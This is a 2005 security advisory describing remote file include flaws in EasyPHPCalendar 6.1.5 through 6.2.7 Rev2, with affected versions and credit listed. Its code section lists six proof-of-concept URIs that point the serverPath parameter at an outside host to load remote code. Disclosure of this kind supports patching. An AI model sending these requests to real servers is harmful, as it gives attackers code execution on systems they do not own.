exploits , vulnerabilities , articles , EasyPHPCalendar Multiple Remote File Include Vulnerabilities

Title	EasyPHPCalendar Multiple Remote File Include Vulnerabilities
Published	2005-07-04-12:00AM
Updated	2005-07-22-03:37PM
Class	Input Validation Error
CVE	CVE-MAP-NOMATCH
Remote	Yes
Local	No
Credit	Discovery of this vulnerability is credited to Albania Security Clan.
Vulnerable	EasyPHPCalendar EasyPHPCalendar 6.2.7 Rev2 EasyPHPCalendar EasyPHPCalendar 6.2.7 EasyPHPCalendar EasyPHPCalendar 6.2.6 EasyPHPCalendar EasyPHPCalendar 6.2.5 EasyPHPCalendar EasyPHPCalendar 6.2.4 EasyPHPCalendar EasyPHPCalendar 6.2.3 EasyPHPCalendar EasyPHPCalendar 6.2.2 EasyPHPCalendar EasyPHPCalendar 6.2.1 EasyPHPCalendar EasyPHPCalendar 6.2 EasyPHPCalendar EasyPHPCalendar 6.1.5
Not Vulnerable	EasyPHPCalendar EasyPHPCalendar 6.2.8
Code	No exploit is required. The following proof of concept URI are available: http://www.example.com/calendar/calendar.php?serverPath=http://www.example.com/[remote code] http://www.example.com/calendar/functions/popup.php?serverPath=http://www.example.com/[remote code] http://www.example.com/calendar/events/header.inc.php?serverPath=http://www.example.com/[remote code] http://www.example.com/calendar/events/datePicker.php?serverPath=http://www.example.com/[remote code] http://www.example.com/calendar/setup/setupSQL.php?serverPath=http://www.example.com/[remote code] http://www.example.com/calendar/setup/header.inc.php?serverPath=http://www.example.com/[remote code]
TXT